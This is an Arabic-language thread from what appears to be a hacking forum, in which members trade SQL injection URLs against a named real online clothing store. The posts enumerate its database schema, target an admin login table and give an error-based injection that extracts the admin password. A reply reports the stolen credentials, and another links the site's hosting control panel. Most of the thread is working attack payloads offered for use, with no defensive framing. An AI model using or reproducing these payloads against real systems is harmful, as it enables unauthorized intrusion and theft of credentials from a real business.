:: vBspiders Professional Network :: - مشكلـ في حقن موقع ،،

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/forumdisplay.php?f=343)

- - مشكلـ في حقن موقع ،، (http://www.vbspiders.com/vb/showthread.php?t=63576)

مشكلـ في حقن موقع ،،

السلامــ، عليكمــ،
أنا بدأت بحق موقع ،،
عندي هذه الحقنة :
DBs

كود PHP:


		
			
where table_schema=0x4c55434b5937434c4f5448494e475f434f4d5f31

Tables

كود PHP:


		
			
http://www.lucky7clothing.com/product.php?cat=-1+union+select+1,concat%28table_name%29,3,4,5,6+from+information_schema.tables%20where%20table_schema=0x4c55434b5937434c4f5448494e475f434f4d5f31%20--

أخذت جدول : FBC4_EA_ADMIN_LOGIN
Columns

كود PHP:


		
			
http://www.lucky7clothing.com/product.php?cat=-1+union+select+1,concat%28column_name%29,3,4,5,6+from+information_schema.columns%20where%20table_schema=0x4c55434b5937434c4f5448494e475f434f4d5f31%20and%20table_name=0x464243345f45415f41444d494e5f4c4f47494e--

و لمـا أكمل الحقنــة

كود PHP:


		
			
http://www.lucky7clothing.com/product.php?cat=-1+union+select+1,concat%28USER,0x3a,PASS,0x3a,ID%29,3,4,5,6+from+FBC4_EA_ADMIN_LOGIN--

يقول لـــي الجدول غير موجود بالقاعــدة !!

:dunno:

رد: مشكلـ في حقن موقع ،،

شوف دورتي

كود:

http://www.lucky7clothing.com/product.php?cat=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20concat%280x7e,0x27,cast%28fbc4_ea_admin_login.pass%20as%20char%29,0x27,0x7e%29%20FROM%20%60lucky7clothing_com_1%60.fbc4_ea_admin_login%20LIMIT%200,1%29%20%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

ليوزر والباس
admin
admin

رد: مشكلـ في حقن موقع ،،

لمـ ينجع بالدخول ..
https://ns17.domaineplus.net:19638/welcome/site

رد: مشكلـ في حقن موقع ،،

اظنها الدوبل كيري

رد: مشكلـ في حقن موقع ،،

اقتباس:

المشاركة الأصلية كتبت بواسطة aircrack -ng (المشاركة 442524)

شوف دورتي

كود:

http://www.lucky7clothing.com/product.php?cat=1%20and%28select%201%20from%28select%20count%28*%29,concat%28%28select%20%28select%20%28SELECT%20concat%280x7e,0x27,cast%28fbc4_ea_admin_login.pass%20as%20char%29,0x27,0x7e%29%20FROM%20%60lucky7clothing_com_1%60.fbc4_ea_admin_login%20LIMIT%200,1%29%20%29%20from%20information_schema.tables%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%20and%201=1

ليوزر والباس
admin
admin

ما شاء الله مبدع